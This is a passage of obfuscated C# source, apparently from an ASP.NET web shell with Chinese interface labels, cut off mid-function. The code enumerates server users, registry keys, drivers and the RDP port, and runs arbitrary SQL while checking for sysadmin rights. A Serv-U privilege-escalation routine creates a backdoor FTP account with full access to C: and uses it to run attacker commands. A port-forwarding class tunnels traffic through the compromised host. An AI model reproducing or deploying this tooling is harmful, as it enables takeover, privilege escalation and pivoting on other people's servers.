  964. vHCs.Controls.Add(tr);
  965. }
  966. }
  967. catch(Exception error)
  968. {
  969. oHpF();
  970. }
  971. }
  972. public void PLd()
  973. {
  974. try
  975. {
  976. WICxe();
  977. xWVQ.Visible=true;
  978. Bin_H2_Title.InnerText="用户(组)信息 >>";
  979. DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  980. foreach(DirectoryEntry child in TWQ.Children)
  981. {
  982. foreach(string name in child.Properties.PropertyNames)
  983. {
  984. PropertyValueCollection pvc=child.Properties[name];
  985. int c=pvc.Count;
  986. for(int i=0;i<c;i++)
  987. {
  988. if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
  989. {
  990. string bg=OKM();
  991. TableRow tr=new TableRow();
  992. tr.Attributes["onmouseover"]="this.className='focus';";
  993. tr.CssClass=bg;
  994. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  995. TableCell td=new TableCell();
  996. td.Text=name;
  997. tr.Controls.Add(td);
  998. TableCell td1=new TableCell();
  999. td1.Text=pvc[i].ToString();
  1000. tr.Controls.Add(td1);
  1001. VPa.Controls.Add(tr);
  1002. }
  1003. }
  1004. }
  1005. TableRow trn=new TableRow();
  1006. for(int x=1;x<3;x++)
  1007. {
  1008. TableCell tdn=new TableCell();
  1009. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1010. trn.Controls.Add(tdn);
  1011. VPa.Controls.Add(trn);
  1012. }
  1013. }
  1014. }
  1015. catch(Exception error)
  1016. {
  1017. xseuB(error.Message);
  1018. }
  1019. }
  1020. public void iLVUT()
  1021. {
  1022. try
  1023. {
  1024. WICxe();
  1025. xWVQ.Visible=true;
  1026. Bin_H2_Title.InnerText="用户(组)信息 >>";
  1027. DataTable user=cCf("Win32_UserAccount");
  1028. for(int i=0;i<user.Rows.Count;i++)
  1029. {
  1030. for(int j=0;j<user.Columns.Count;j++)
  1031. {
  1032. string bg=OKM();
  1033. TableRow tr=new TableRow();
  1034. tr.Attributes["onmouseover"]="this.className='focus';";
  1035. tr.CssClass=bg;
  1036. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1037. TableCell td=new TableCell();
  1038. td.Text=user.Columns[j].ToString();
  1039. tr.Controls.Add(td);
  1040. TableCell td1=new TableCell();
  1041. td1.Text=user.Rows[i][j].ToString();
  1042. tr.Controls.Add(td1);
  1043. VPa.Controls.Add(tr);
  1044. }
  1045. TableRow trn=new TableRow();
  1046. for(int x=1;x<3;x++)
  1047. {
  1048. TableCell tdn=new TableCell();
  1049. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1050. trn.Controls.Add(tdn);
  1051. VPa.Controls.Add(trn);
  1052. }
  1053. }
  1054. }
  1055. catch(Exception error)
  1056. {
  1057. PLd();
  1058. }
  1059. }
  1060. public void pDVM()
  1061. {
  1062. try
  1063. {
  1064. RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  1065. string IKjwH=DdmPl(EeZ,"PortNumber");
  1066. RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  1067. int cpu=izN.SubKeyCount;
  1068. RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0");
  1069. string NPPZ=DdmPl(mQII,"ProcessorNameString");
  1070. WICxe();
  1071. ghaB.Visible=true;
  1072. Bin_H2_Title.InnerText="系统信息 >>";
  1073. Bin_H2_Mac.InnerText="网卡信息 >>";
  1074. Bin_H2_Driver.InnerText="驱动信息 >>";
  1075. StringBuilder yEwc=new StringBuilder();
  1076. StringBuilder hwJeS=new StringBuilder();
  1077. StringBuilder jXkaE=new StringBuilder();
  1078. yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  1079. yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  1080. yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
  1081. yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  1082. yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  1083. yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
  1084. yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  1085. yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  1086. DataTable BIOS=cCf("Win32_BIOS");
  1087. yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  1088. yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  1089. yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
  1090. DataTable upM=cCf("Win32_PhysicalMemory");
  1091. Int64 oZnZV=0;
  1092. for(int i=0;i<upM.Rows.Count;i++)
  1093. {
  1094. oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
  1095. }
  1096. yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
  1097. DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
  1098. for(int i=0;i<dOza.Rows.Count;i++)
  1099. {
  1100. hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
  1101. if(dOza.Rows[i]["MACAddress"]!=string.Empty)
  1102. {
  1103. hwJeS.Append("<li style="list-style:none;"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
  1104. }
  1105. }
  1106. DataTable Driver=cCf("Win32_SystemDriver");
  1107. for (int i=0; i<Driver.Rows.Count; i++)
  1108. {
  1109. jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  1110. if (Driver.Rows[i]["PathName"]!=string.Empty)
  1111. {
  1112. jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
  1113. }
  1114. else
  1115. {
  1116. jXkaE.Append("No path information");
  1117. }
  1118. jXkaE.Append("</li>");
  1119. }
  1120. Bin_Ul_Sys.InnerHtml=yEwc.ToString();
  1121. Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
  1122. Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
  1123. }
  1124. catch(Exception error)
  1125. {
  1126. xseuB(error.Message);
  1127. }
  1128. }
  1129. public void ADCpk()
  1130. {
  1131. WICxe();
  1132. APl.Visible=true;
  1133. Bin_H2_Title.InnerText="Serv-U 提权 >>";
  1134. }
  1135. public void lDODR()
  1136. {
  1137. string JGGg=string.Empty;
  1138. string user=dNohJ.Value;
  1139. string pass=NMd.Value;
  1140. int port=Int32.Parse(HlQl.Value);
  1141. string cmd=mHbjB.Value;
  1142. string CRtK="user "+user+"\r\n";
  1143. string jnNG="pass "+pass+"\r\n";
  1144. string site="SITE MAINTENANCE\r\n";
  1145. string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1146. string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1147. string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1148. string zexn="QUIT\r\n";
  1149. UHlA.Visible=true;
  1150. try
  1151. {
  1152. tcp.Connect("127.0.0.1",port);
  1153. tcp.ReceiveBufferSize=1024;
  1154. NS=tcp.GetStream();
  1155. Rev(NS);
  1156. ZJiM(NS,CRtK);
  1157. Rev(NS);
  1158. ZJiM(NS,jnNG);
  1159. Rev(NS);
  1160. ZJiM(NS,site);
  1161. Rev(NS);
  1162. ZJiM(NS,mtoJb);
  1163. Rev(NS);
  1164. ZJiM(NS,sutI);
  1165. Rev(NS);
  1166. ZJiM(NS,iVDT);
  1167. Rev(NS);
  1168. Bin_Td_Res.InnerHtml+="<font color="green"><b>Exec Cmd.................\r\n</b></font>";
  1169. zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
  1170. NS1=zvxm.GetStream();
  1171. Rev(NS1);
  1172. ZJiM(NS1,"user bin\r\n");
  1173. Rev(NS1);
  1174. ZJiM(NS1,"pass binftp\r\n");
  1175. Rev(NS1);
  1176. ZJiM(NS1,"site exec "+cmd+"\r\n");
  1177. Rev(NS1);
  1178. ZJiM(NS1,"quit\r\n");
  1179. Rev(NS1);
  1180. zvxm.Close();
  1181. ZJiM(NS,mtoJb);
  1182. Rev(NS);
  1183. tcp.Close();
  1184. }
  1185. catch(Exception error)
  1186. {
  1187. xseuB(error.Message);
  1188. }
  1189. }
  1190. protected void Rev(NetworkStream instream)
  1191. {
  1192. string FTBtf=string.Empty;
  1193. if(instream.CanRead)
  1194. {
  1195. byte[] uPZ=new byte[1024];
  1196. do
  1197. {
  1198. System.Threading.Thread.Sleep(50);
  1199. int len=instream.Read(uPZ,0,uPZ.Length);
  1200. FTBtf+=Encoding.Default.GetString(uPZ,0,len);
  1201. }
  1202. while(instream.DataAvailable);
  1203. }
  1204. Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
  1205. }
  1206. protected void ZJiM(NetworkStream instream,string Sendstr)
  1207. {
  1208. if(instream.CanWrite)
  1209. {
  1210. byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
  1211. instream.Write(uPZ,0,uPZ.Length);
  1212. }
  1213. Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
  1214. }
  1215. public void xFhz()
  1216. {
  1217. WICxe();
  1218. kkHN.Visible=true;
  1219. Bin_H2_Title.InnerText="注册表查询 >>";
  1220. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1221. vyX.Text="";
  1222. foreach(string rootkey in txc.Split('|'))
  1223. {
  1224. vyX.Text+="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')">"+rootkey+"</a> | ";
  1225. }
  1226. lFAvw();
  1227. }
  1228. protected void lFAvw()
  1229. {
  1230. qPdI.Text="";
  1231. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1232. TableRow tr;
  1233. TableCell tc;
  1234. foreach(string rootkey in txc.Split('|'))
  1235. {
  1236. tr=new TableRow();
  1237. tc=new TableCell();
  1238. string bg=OKM();
  1239. tr.Attributes["onmouseover"]="this.className='focus';";
  1240. tr.CssClass=bg;
  1241. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1242. tc.Width=Unit.Parse("40%");
  1243. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')">"+rootkey+"</a>";
  1244. tr.Cells.Add(tc);
  1245. tc=new TableCell();
  1246. tc.Width=Unit.Parse("60%");
  1247. tc.Text="<RootKey>";
  1248. tr.Cells.Add(tc);
  1249. pLWD.Rows.Add(tr);
  1250. }
  1251. }
  1252. protected void tpRQ(string Reg_Path)
  1253. {
  1254. if(!Reg_Path.EndsWith("\"))
  1255. {
  1256. Reg_Path=Reg_Path+"\";
  1257. }
  1258. qPdI.Text=Reg_Path;
  1259. string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  1260. cJG=Regex.Replace(cJG,@"\\+","\");
  1261. TableRow tr=new TableRow();
  1262. TableCell tc=new TableCell();
  1263. string bg=OKM();
  1264. tr.Attributes["onmouseover"]="this.className='focus';";
  1265. tr.CssClass=bg;
  1266. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1267. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')">Parent Key</a>";
  1268. tc.Attributes["colspan"]="2" ;
  1269. tr.Cells.Add(tc);
  1270. pLWD.Rows.Add(tr);
  1271. try
  1272. {
  1273. string subpath;
  1274. string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\")+1,Reg_Path.Length-Reg_Path.IndexOf("\")-1);
  1275. RegistryKey rk=null;
  1276. RegistryKey sk;
  1277. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
  1278. {
  1279. rk=Registry.LocalMachine;
  1280. }
  1281. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
  1282. {
  1283. rk=Registry.ClassesRoot;
  1284. }
  1285. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
  1286. {
  1287. rk=Registry.CurrentUser;
  1288. }
  1289. else if(Reg_Path.StartsWith("HKEY_USERS"))
  1290. {
  1291. rk=Registry.Users;
  1292. }
  1293. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
  1294. {
  1295. rk=Registry.CurrentConfig;
  1296. }
  1297. if(kDgkX.Length>1)
  1298. {
  1299. sk=rk.OpenSubKey(kDgkX);
  1300. }
  1301. else
  1302. {
  1303. sk=rk;
  1304. }
  1305. foreach(string innerSubKey in sk.GetSubKeyNames())
  1306. {
  1307. tr=new TableRow();
  1308. tc=new TableCell();
  1309. bg=OKM();
  1310. tr.Attributes["onmouseover"]="this.className='focus';";
  1311. tr.CssClass=bg;
  1312. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1313. tc.Width=Unit.Parse("40%");
  1314. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')">"+innerSubKey+"</a>";
  1315. tr.Cells.Add(tc);
  1316. tc=new TableCell();
  1317. tc.Width=Unit.Parse("60%");
  1318. tc.Text="<SubKey>";
  1319. tr.Cells.Add(tc);
  1320. pLWD.Rows.Add(tr);
  1321. }
  1322. TableRow cKVA=new TableRow();
  1323. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  1324. cKVA.Attributes["bgcolor"]="#dddddd";
  1325. TableCell JlmW=new TableCell();
  1326. JlmW.Attributes["colspan"]="2" ;
  1327. JlmW.Attributes["height"]="5";
  1328. cKVA.Cells.Add(JlmW);
  1329. pLWD.Rows.Add(cKVA);
  1330. foreach(string strValueName in sk.GetValueNames())
  1331. {
  1332. tr=new TableRow();
  1333. tc=new TableCell();
  1334. bg=OKM();
  1335. tr.Attributes["onmouseover"]="this.className='focus';";
  1336. tr.CssClass=bg;
  1337. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1338. tc.Width=Unit.Parse("40%");
  1339. tc.Text=strValueName;
  1340. tr.Cells.Add(tc);
  1341. tc=new TableCell();
  1342. tc.Width=Unit.Parse("60%");
  1343. tc.Text=DdmPl(sk,strValueName);
  1344. tr.Cells.Add(tc);
  1345. pLWD.Rows.Add(tr);
  1346. }
  1347. }
  1348. catch(Exception error)
  1349. {
  1350. xseuB(error.Message);
  1351. }
  1352. }
  1353. public string DdmPl(RegistryKey sk,string strValueName)
  1354. {
  1355. object uPZ;
  1356. string RaTGr="";
  1357. try
  1358. {
  1359. uPZ=sk.GetValue(strValueName,"NULL");
  1360. if(uPZ.GetType()==typeof(byte[]))
  1361. {
  1362. foreach(byte tmpbyte in(byte[])uPZ)
  1363. {
  1364. if((int)tmpbyte<16)
  1365. {
  1366. RaTGr+="0";
  1367. }
  1368. RaTGr+=tmpbyte.ToString("X");
  1369. }
  1370. }
  1371. else if(uPZ.GetType()==typeof(string[]))
  1372. {
  1373. foreach(string tmpstr in(string[])uPZ)
  1374. {
  1375. RaTGr+=tmpstr;
  1376. }
  1377. }
  1378. else
  1379. {
  1380. RaTGr=uPZ.ToString();
  1381. }
  1382. }
  1383. catch(Exception error)
  1384. {
  1385. xseuB(error.Message);
  1386. }
  1387. return RaTGr;
  1388. }
  1389. public void vNCHZ()
  1390. {
  1391. WICxe();
  1392. YwLB.Visible=true;
  1393. Bin_H2_Title.InnerText="端口扫描 >>";
  1394. }
  1395. public void rAhe()
  1396. {
  1397. WICxe();
  1398. iDgmL.Visible=true;
  1399. dQIIF.Visible=false;
  1400. Bin_H2_Title.InnerText="数据库 >>";
  1401. }
  1402. protected void OUj()
  1403. {
  1404. if(Dtdr.State==ConnectionState.Closed)
  1405. {
  1406. try
  1407. {
  1408. Dtdr.ConnectionString=MasR.Text;
  1409. Kkvb.Connection=Dtdr;
  1410. Dtdr.Open();
  1411. }
  1412. catch(Exception Error)
  1413. {
  1414. xseuB(Error.Message);
  1415. }
  1416. }
  1417. }
  1418. protected void fUzE()
  1419. {
  1420. if(Dtdr.State==ConnectionState.Open)
  1421. Dtdr.Close();
  1422. Dtdr.Dispose();
  1423. Kkvb.Dispose();
  1424. }
  1425. public DataTable CYUe(string sqlstr)
  1426. {
  1427. OleDbDataAdapter da=new OleDbDataAdapter();
  1428. DataTable Dstog=new DataTable();
  1429. try
  1430. {
  1431. OUj();
  1432. Kkvb.CommandType=CommandType.Text;
  1433. Kkvb.CommandText=sqlstr;
  1434. da.SelectCommand=Kkvb;
  1435. da.Fill(Dstog);
  1436. }
  1437. catch(Exception)
  1438. {
  1439. }
  1440. finally
  1441. {
  1442. fUzE();
  1443. }
  1444. return Dstog;
  1445. }
  1446. public DataTable[] Bin_Data(string query)
  1447. {
  1448. ArrayList list=new ArrayList();
  1449. try
  1450. {
  1451. string str;
  1452. OUj();
  1453. query=query+"\r\n";
  1454. MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
  1455. int EmRX=0;
  1456. for(int i=0;i<gcod.Count;i++)
  1457. {
  1458. Match FJD=gcod[i];
  1459. str=query.Substring(EmRX,FJD.Index-EmRX);
  1460. if(str.Trim().Length>0)
  1461. {
  1462. OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
  1463. Kkvb.CommandType=CommandType.Text;
  1464. Kkvb.CommandText=str.Trim();
  1465. FgzeQ.SelectCommand=Kkvb;
  1466. DataSet cDPp=new DataSet();
  1467. FgzeQ.Fill(cDPp);
  1468. for(int j=0;j<cDPp.Tables.Count;j++)
  1469. {
  1470. list.Add(cDPp.Tables[j]);
  1471. }
  1472. }
  1473. EmRX=FJD.Index+3;
  1474. }
  1475. str=query.Substring(EmRX,query.Length-EmRX);
  1476. if(str.Trim().Length>0)
  1477. {
  1478. OleDbDataAdapter VwB=new OleDbDataAdapter();
  1479. Kkvb.CommandType=CommandType.Text;
  1480. Kkvb.CommandText=str.Trim();
  1481. VwB.SelectCommand=Kkvb;
  1482. DataSet arG=new DataSet();
  1483. VwB.Fill(arG);
  1484. for(int k=0;k<arG.Tables.Count;k++)
  1485. {
  1486. list.Add(arG.Tables[k]);
  1487. }
  1488. }
  1489. }
  1490. catch(SqlException e)
  1491. {
  1492. xseuB(e.Message);
  1493. rom.Visible=false;
  1494. }
  1495. return(DataTable[])list.ToArray(typeof(DataTable));
  1496. }
  1497. public void JIAKU(string instr)
  1498. {
  1499. try
  1500. {
  1501. OUj();
  1502. Kkvb.CommandType=CommandType.Text;
  1503. Kkvb.CommandText=instr;
  1504. Kkvb.ExecuteNonQuery();
  1505. }
  1506. catch(Exception e)
  1507. {
  1508. xseuB(e.Message);
  1509. }
  1510. }
  1511. public void dwgT()
  1512. {
  1513. try
  1514. {
  1515. OUj();
  1516. if(WYmo.SelectedItem.Text=="MSSQL")
  1517. {
  1518. if(Pvf.SelectedItem.Value!="")
  1519. {
  1520. Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
  1521. }
  1522. }
  1523. DataTable[] jxF=null;
  1524. jxF=Bin_Data(jHIy.InnerText);
  1525. if(jxF!=null && jxF.Length>0)
  1526. {
  1527. for(int j=0;j<jxF.Length;j++)
  1528. {
  1529. rom.PreRender+=new EventHandler(lRavM);
  1530. rom.DataSource=jxF[j];
  1531. rom.DataBind();
  1532. for(int i=0;i<rom.Items.Count;i++)
  1533. {
  1534. string bg=OKM();
  1535. rom.Items[i].CssClass=bg;
  1536. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1537. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1538. }
  1539. }
  1540. }
  1541. else
  1542. {
  1543. rom.DataSource=null;
  1544. rom.DataBind();
  1545. }
  1546. rom.Visible=true;
  1547. }
  1548. catch(Exception e)
  1549. {
  1550. xseuB(e.Message);
  1551. rom.Visible=false;
  1552. }
  1553. }
  1554. public void xTZY()
  1555. {
  1556. try
  1557. {
  1558. if(WYmo.SelectedItem.Text=="MSSQL")
  1559. {
  1560. if(Pvf.SelectedItem.Value=="")
  1561. {
  1562. rom.DataSource=null;
  1563. rom.DataBind();
  1564. return;
  1565. }
  1566. }
  1567. OUj();
  1568. DataTable zKvOw=new DataTable();
  1569. DataTable jxF=new DataTable();
  1570. DataTable baVJV=new DataTable();
  1571. if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
  1572. {
  1573. Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
  1574. }
  1575. zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
  1576. jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
  1577. foreach(DataRow dr in zKvOw.Rows)
  1578. {
  1579. jxF.ImportRow(dr);
  1580. }
  1581. jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
  1582. rom.PreRender+=new EventHandler(lRavM);
  1583. rom.DataSource=jxF;
  1584. rom.DataBind();
  1585. for(int i=0;i<rom.Items.Count;i++)
  1586. {
  1587. string bg=OKM();
  1588. rom.Items[i].CssClass=bg;
  1589. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1590. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1591. }
  1592. rom.Visible=true;
  1593. }
  1594. catch(Exception e)
  1595. {
  1596. xseuB(e.Message);
  1597. rom.Visible=false;
  1598. }
  1599. }
  1600. private void lRavM(object sender,EventArgs e)
  1601. {
  1602. DataGrid d=(DataGrid)sender;
  1603. foreach(DataGridItem item in d.Items)
  1604. {
  1605. foreach(TableCell t in item.Cells)
  1606. {
  1607. t.Text=t.Text.Replace("<","<").Replace(">",">");
  1608. }
  1609. }
  1610. }
  1611. public void vCf()
  1612. {
  1613. dQIIF.Visible=true;
  1614. try
  1615. {
  1616. jHIy.InnerHtml=string.Empty;
  1617. if(WYmo.SelectedItem.Text=="MSSQL")
  1618. {
  1619. rom.Visible=false;
  1620. uXevN.Visible=true;
  1621. irTU.Visible=true;
  1622. OUj();
  1623. DataTable ver=CYUe(@"SELECT @@VERSION");
  1624. DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
  1625. DataTable cdb=CYUe(@"SELECT DB_NAME()");
  1626. DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  1627. DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
  1628. string jHlh=ver.Rows[0][0].ToString();
  1629. string dbo=string.Empty;
  1630. if(YKrm.Rows[0][0].ToString()=="1")
  1631. {
  1632. dbo="db_owner";
  1633. }
  1634. else
  1635. {
  1636. dbo="public";
  1637. }
  1638. if(rol.Rows[0][0].ToString()=="1")
  1639. {
  1640. dbo="<font color=blue>sa</font>";
  1641. }
  1642. string db_name=string.Empty;
  1643. foreach(ListItem item in FGEy.Items)
  1644. {
  1645. if(item.Selected=true)
  1646. {
  1647. item.Selected=false;
  1648. }
  1649. }
  1650. Pvf.Items.Clear();
  1651. Pvf.Items.Add("-- Select a DataBase --");
  1652. Pvf.Items[0].Value="";
  1653. for(int i=0;i<dbs.Rows.Count;i++)
  1654. {
  1655. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+" | ";
  1656. Pvf.Items.Add(dbs.Rows[i][0].ToString());
  1657. }
  1658. irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  1659. }
  1660. else
  1661. {
  1662. uXevN.Visible=false;
  1663. irTU.Visible=false;
  1664. xTZY();
  1665. }
  1666. }
  1667. catch(Exception e)
  1668. {
  1669. dQIIF.Visible=false;
  1670. }
  1671. }
  1672. public void MHLv()
  1673. {
  1674. WICxe();
  1675. hOWTm.Visible=true;
  1676. Bin_H2_Title.InnerText="端口映射 >>";
  1677. }
  1678. public class PortForward
  1679. {
  1680. public string Localaddress;
  1681. public int LocalPort;
  1682. public string RemoteAddress;
  1683. public int RemotePort;
  1684. string type;
  1685. Socket ltcpClient;
  1686. Socket rtcpClient;
  1687. Socket server;
  1688. byte[] DPrPL=new byte[2048];
  1689. byte[] wvZv=new byte[2048];
  1690. public struct session
  1691. {
  1692. public Socket rdel;
  1693. public Socket ldel;
  1694. public int llen;
  1695. public int rlen;
  1696. }
  1697. public static IPEndPoint mtJ(string host,int port)
  1698. {
  1699. IPEndPoint iep=null;
  1700. IPHostEntry aGN=Dns.Resolve(host);
  1701. IPAddress rmt=aGN.AddressList[0];
  1702. iep=new IPEndPoint(rmt,port);
  1703. return iep;
  1704. }
  1705. public void Start(string Rip,int Rport,string lip,int lport)
  1706. {
  1707. try
  1708. {
  1709. LocalPort=lport;
  1710. RemoteAddress=Rip;
  1711. RemotePort=Rport;
  1712. Localaddress=lip;
  1713. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1714. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1715. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
  1716. }
  1717. catch (Exception ex) { }
  1718. }
  1719. protected void iiGFO(IAsyncResult ar)
  1720. {
  1721. try
  1722. {
  1723. session RKXy=new session();
  1724. RKXy.ldel=ltcpClient;
  1725. RKXy.rdel=rtcpClient;
  1726. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
  1727. }
  1728. catch (Exception ex) { }
  1729. }
  1730. protected void VTp(IAsyncResult ar)
  1731. {
  1732. try
  1733. {
  1734. session RKXy=(session)ar.AsyncState;
  1735. ltcpClient.EndConnect(ar);
  1736. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
  1737. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
  1738. }
  1739. catch (Exception ex) { }
  1740. }
  1741. private void LFYM(IAsyncResult ar)
  1742. {
  1743. try
  1744. {
  1745. session RKXy=(session)ar.AsyncState;
  1746. int Ret=RKXy.rdel.EndReceive(ar);
  1747. if (Ret>0)
  1748. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
  1749. else lyTOK();
  1750. }
  1751. catch (Exception ex) { }
  1752. }
  1753. private void JTcp(IAsyncResult ar)
  1754. {
  1755. try
  1756. {
  1757. session RKXy=(session)ar.AsyncState;
  1758. RKXy.ldel.EndSend(ar);
  1759. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
  1760. }
  1761. catch (Exception ex) { }
  1762. }
  1763. private void xPS(IAsyncResult ar)
  1764. {
  1765. try
  1766. {
  1767. session RKXy=(session)ar.AsyncState;
  1768. int Ret=RKXy.ldel.EndReceive(ar);
  1769. if (Ret>0)
  1770. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
  1771. else lyTOK();
  1772. }
  1773. catch (Exception ex) { }
  1774. }
  1775. private void IZU(IAsyncResult ar)
  1776. {
  1777. try
  1778. {
  1779. session RKXy=(session)ar.AsyncState;
  1780. RKXy.rdel.EndSend(ar);
  1781. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
  1782. }
  1783. catch (Exception ex) { }
  1784. }
  1785. public void lyTOK()
  1786. {
  1787. try
  1788. {
  1789. if (ltcpClient!=null)
  1790. {
  1791. ltcpClient.Close();
  1792. }
  1793. if (rtcpClient!=null)
  1794. rtcpClient.Close();
  1795. }
  1796. catch (Exception ex) { }
  1797. }
  1798. }
  1799. protected void vuou()
  1800. {
  1801. PortForward gYP=new PortForward();
  1802. gYP.lyTOK();
  1803. }
  1804. protected void ruQO()
  1805. {
  1806. PortForward gYP=new PortForward();
